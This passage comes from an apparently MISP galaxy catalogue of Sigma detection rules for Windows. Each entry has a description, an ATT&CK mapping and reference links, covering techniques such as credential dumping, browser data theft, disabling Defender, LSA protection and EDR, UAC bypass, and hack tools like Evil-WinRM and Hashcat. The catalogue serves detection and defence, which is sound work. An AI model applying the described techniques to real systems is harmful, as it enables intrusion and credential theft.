An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - LogMeIn Execution"*

View relationships graph

Remote Access Tool - LogMeIn Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15211. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_logmein.yml

Potential Mftrace.EXE Abuse

Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe)

which can abused to execute arbitrary binaries.

The tag is: *misp-galaxy:sigma-rules="Potential Mftrace.EXE Abuse"*

View relationships graph

Potential Mftrace.EXE Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15212. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mftrace_child_process.yml

Sticky Key Like Backdoor Execution

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

The tag is: *misp-galaxy:sigma-rules="Sticky Key Like Backdoor Execution"*

View relationships graph

Sticky Key Like Backdoor Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 15213. Table References

Links
https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml

Potential Credential Dumping Attempt Using New NetworkProvider - CLI

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Using New NetworkProvider - CLI"*

View relationships graph

Potential Credential Dumping Attempt Using New NetworkProvider - CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15214. Table References

Links
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_new_network_provider.yml

Password Set to Never Expire via WMI

Detects the use of wmic.exe to modify user account settings and explicitly disable password expiration.

The tag is: *misp-galaxy:sigma-rules="Password Set to Never Expire via WMI"*

View relationships graph

Password Set to Never Expire via WMI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 15215. Table References

Links
https://www.huntress.com/blog/the-unwanted-guest
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_password_never_expire.yml

Potential Discovery Activity Via Dnscmd.EXE

Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.

The tag is: *misp-galaxy:sigma-rules="Potential Discovery Activity Via Dnscmd.EXE"*

Table 15216. Table References

Links
https://learn.microsoft.com/en-us/azure/dns/dns-zones-records

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml

Potential Renamed Rundll32 Execution

Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection

The tag is: *misp-galaxy:sigma-rules="Potential Renamed Rundll32 Execution"*

Table 15217. Table References

Links
https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20
https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml

File Download Via InstallUtil.EXE

Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\"

The tag is: *misp-galaxy:sigma-rules="File Download Via InstallUtil.EXE"*

View relationships graph

File Download Via InstallUtil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15218. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/239
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_installutil_download.yml

Logged-On User Password Change Via Ksetup.EXE

Detects password change for the logged-on user’s via "ksetup.exe"

The tag is: *misp-galaxy:sigma-rules="Logged-On User Password Change Via Ksetup.EXE"*

Table 15219. Table References

Links
https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ksetup_password_change_user.yml

Potential Browser Data Stealing

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

The tag is: *misp-galaxy:sigma-rules="Potential Browser Data Stealing"*

View relationships graph

Potential Browser Data Stealing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 15220. Table References

Links
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_browser_data.yml

RDP Port Forwarding Rule Added Via Netsh.EXE

Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule

The tag is: *misp-galaxy:sigma-rules="RDP Port Forwarding Rule Added Via Netsh.EXE"*

View relationships graph

RDP Port Forwarding Rule Added Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 15221. Table References

Links

https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding_3389.yml

Disable Windows Defender AV Security Monitoring

Detects attackers attempting to disable Windows Defender using Powershell

The tag is: *misp-galaxy:sigma-rules="Disable Windows Defender AV Security Monitoring"*

View relationships graph

Disable Windows Defender AV Security Monitoring has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15222. Table References

Links
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_defender_av_security_monitoring.yml

LSA PPL Protection Disabled Via Reg.EXE

Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process

The tag is: *misp-galaxy:sigma-rules="LSA PPL Protection Disabled Via Reg.EXE"*

View relationships graph

LSA PPL Protection Disabled Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010" with estimative-language:likelihood-probability="almost-certain"

Table 15223. Table References

Links
https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_ppl_protection_disabled.yml

Sysinternals PsSuspend Suspicious Execution

Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses

The tag is: *misp-galaxy:sigma-rules="Sysinternals PsSuspend Suspicious Execution"*

View relationships graph

Sysinternals PsSuspend Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15224. Table References

Links
https://twitter.com/0gtweet/status/1638069413717975046
https://learn.microsoft.com/en-us/sysinternals/downloads/pssuspend
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml

Cmd Launched with Hidden Start Flags to Suspicious Targets

Detects cmd.exe executing commands with the "start" utility using "/b" (no window) or "/min" (minimized) flags. To reduce false positives from standard background tasks, detection is restricted to scenarios where the target is a known script extension or located in suspicious temporary/public directories. This technique was observed in Chaos, DarkSide, and Emotet malware campaigns.

The tag is: *misp-galaxy:sigma-rules="Cmd Launched with Hidden Start Flags to Suspicious Targets"*

View relationships graph

Cmd Launched with Hidden Start Flags to Suspicious Targets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15225. Table References

Links
https://www.fortinet.com/blog/threat-research/evolution-of-chaos-ransomware-faster-smarter-and-more-dangerous

https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start
https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_launched_with_hidden_start_flag.yml

AspNetCompiler Execution

Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.

The tag is: *misp-galaxy:sigma-rules="AspNetCompiler Execution"*

View relationships graph

AspNetCompiler Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15226. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/
https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_exectuion.yml

Devtoolslauncher.exe Executes Specified Binary

The Devtoolslauncher.exe executes other binary

The tag is: *misp-galaxy:sigma-rules="Devtoolslauncher.exe Executes Specified Binary"*

View relationships graph

Devtoolslauncher.exe Executes Specified Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15227. Table References

Links
https://twitter.com/_felamos/status/1179811992841797632
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml

UAC Bypass via Windows Firewall Snap-In Hijack

Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in

The tag is: *misp-galaxy:sigma-rules="UAC Bypass via Windows Firewall Snap-In Hijack"*

View relationships graph

UAC Bypass via Windows Firewall Snap-In Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 15228. Table References

Links
https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml

Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate

Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate"*

Table 15229. Table References

Links
https://www.bleepingcomputer.com/news/security/anydesk-says-hackers-breached-its-production-servers-reset-passwords/
https://anydesk.com/en/changelog/windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_revoked_cert.yml

Csc.EXE Execution Form Potentially Suspicious Parent

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

The tag is: *misp-galaxy:sigma-rules="Csc.EXE Execution Form Potentially Suspicious Parent"*

View relationships graph

Csc.EXE Execution Form Potentially Suspicious Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 15230. Table References

Links
https://reaqta.com/2017/11/short-journey-darkvnc/
https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml

HackTool - SharpMove Tool Execution

Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options.

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpMove Tool Execution"*

View relationships graph

HackTool - SharpMove Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 15231. Table References

Links

https://pentestlab.blog/tag/sharpmove/
https://github.com/0xthirteen/SharpMove/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpmove.yml

Potentially Suspicious Desktop Background Change Using Reg.EXE

Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Desktop Background Change Using Reg.EXE"*

View relationships graph

Potentially Suspicious Desktop Background Change Using Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

Table 15232. Table References

Links
https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior
https://www.attackiq.com/2023/09/20/emulating-rhysida/
https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/
https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html
https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI
https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_desktop_background_change.yml

Use of VisualUiaVerifyNative.exe

VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in

Microsoft's recommended block rules.

The tag is: *misp-galaxy:sigma-rules="Use of VisualUiaVerifyNative.exe"*

View relationships graph

Use of VisualUiaVerifyNative.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15233. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/
https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml

PsExec Service Child Process Execution as LOCAL SYSTEM

Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)

The tag is: *misp-galaxy:sigma-rules="PsExec Service Child Process Execution as LOCAL SYSTEM"*

Table 15234. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system.yml

Computer System Reconnaissance Via Wmic.EXE

Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.

The tag is: *misp-galaxy:sigma-rules="Computer System Reconnaissance Via Wmic.EXE"*

View relationships graph

Computer System Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15235. Table References

Links
https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_computersystem.yml

Potentially Suspicious Child Processes Spawned by ConHost

Detects suspicious child processes related to Windows Shell utilities spawned by `conhost.exe`, which could indicate malicious activity using trusted system components.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Processes Spawned by ConHost"*

View relationships graph

Potentially Suspicious Child Processes Spawned by ConHost has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15236. Table References

Links
https://tria.ge/241015-l98snsyeje/behavioral2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_susp_winshell_child_process.yml

HackTool - Impersonate Execution

Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

The tag is: *misp-galaxy:sigma-rules="HackTool - Impersonate Execution"*

View relationships graph

HackTool - Impersonate Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

Table 15237. Table References

Links
https://github.com/sensepost/impersonate
https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impersonate.yml

Potential Process Execution Proxy Via CL_Invocation.ps1

Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"

The tag is: *misp-galaxy:sigma-rules="Potential Process Execution Proxy Via CL_Invocation.ps1"*

View relationships graph

Potential Process Execution Proxy Via CL_Invocation.ps1 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15238. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/
https://twitter.com/bohops/status/948061991012327424
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_invocation.yml

Hacktool - EDR-Freeze Execution

Detects execution of EDR-Freeze, a tool that exploits the MiniDumpWriteDump function and WerFaultSecure.exe to suspend EDR and Antivirus processes on Windows. EDR-Freeze leverages a race-condition attack to put security processes into a dormant state by suspending WerFaultSecure

at the moment it freezes the target process. This technique does not require kernel-level exploits or BYOVD, but instead abuses user-mode functionality to temporarily disable monitoring by EDR or Antimalware solutions.

The tag is: *misp-galaxy:sigma-rules="Hacktool - EDR-Freeze Execution"*

View relationships graph

Hacktool - EDR-Freeze Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15239. Table References

Links
https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html
https://github.com/TwoSevenOneT/EDR-Freeze
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_edr_freeze.yml

Sysinternals PsService Execution

Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering

The tag is: *misp-galaxy:sigma-rules="Sysinternals PsService Execution"*

View relationships graph

Sysinternals PsService Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 15240. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/psservice
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml

Potentially Suspicious Child Process Of ClickOnce Application

Detects potentially suspicious child processes of a ClickOnce deployment application

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of ClickOnce Application"*

Table 15241. Table References

Links
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dfsvc_suspicious_child_processes.yml

PUA - NimScan Execution

Detects usage of NimScan, a portscanner utility. In early 2025, adversaries were observed using this utility to scan for open ports on remote hosts in a compromised environment. This rule identifies the execution of NimScan based on the process image name and specific hash values associated with different versions of the tool.

The tag is: *misp-galaxy:sigma-rules="PUA - NimScan Execution"*

View relationships graph

PUA - NimScan Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 15242. Table References

Links
https://github.com/elddy/NimScan
https://x.com/cyberfeeddigest/status/1887041526397587859
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimscan.yml

Suspicious Execution of Shutdown

Use of the commandline to shutdown or reboot windows

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of Shutdown"*

View relationships graph

Suspicious Execution of Shutdown has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 15243. Table References

Links

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml

Potentially Suspicious Child Process Of DiskShadow.EXE

Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of DiskShadow.EXE"*

View relationships graph

Potentially Suspicious Child Process Of DiskShadow.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15244. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4
https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_child_process_susp.yml

Application Terminated Via Wmic.EXE

Detects calls to the "terminate" function via wmic in order to kill an application

The tag is: *misp-galaxy:sigma-rules="Application Terminated Via Wmic.EXE"*

View relationships graph

Application Terminated Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15245. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://cyble.com/blog/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_terminate_application.yml

PUA - Nimgrab Execution

Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.

The tag is: *misp-galaxy:sigma-rules="PUA - Nimgrab Execution"*

View relationships graph

PUA - Nimgrab Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15246. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimgrab.yml

HackTool - WinRM Access Via Evil-WinRM

Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules="HackTool - WinRM Access Via Evil-WinRM"*

View relationships graph

HackTool - WinRM Access Via Evil-WinRM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 15247. Table References

Links
https://github.com/Hackplayers/evil-winrm
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_evil_winrm.yml

HackTool - Hashcat Password Cracker Execution

Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

The tag is: *misp-galaxy:sigma-rules="HackTool - Hashcat Password Cracker Execution"*

View relationships graph

HackTool - Hashcat Password Cracker Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"

Table 15248. Table References

Links
https://hashcat.net/wiki/doku.php?id=hashcat
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hashcat.yml

Forfiles.EXE Child Process Masquerading

Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory.

The tag is: *misp-galaxy:sigma-rules="Forfiles.EXE Child Process Masquerading"*

View relationships graph

Forfiles.EXE Child Process Masquerading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15249. Table References

Links
https://www.hexacorn.com/blog/2023/12/31/1-little-known-secret-of-forfiles-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_forfiles_child_process_masquerading.yml

Permission Misconfiguration Reconnaissance Via Findstr.EXE

Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This was seen being used in combination with "icacls" and other utilities to spot misconfigured files or folders permissions.

The tag is: *misp-galaxy:sigma-rules="Permission Misconfiguration Reconnaissance Via Findstr.EXE"*

View relationships graph

Permission Misconfiguration Reconnaissance Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 15250. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml

Arbitrary MSI Download Via Devinit.EXE

Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system

The tag is: *misp-galaxy:sigma-rules="Arbitrary MSI Download Via Devinit.EXE"*

View relationships graph

Arbitrary MSI Download Via Devinit.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15251. Table References

Links
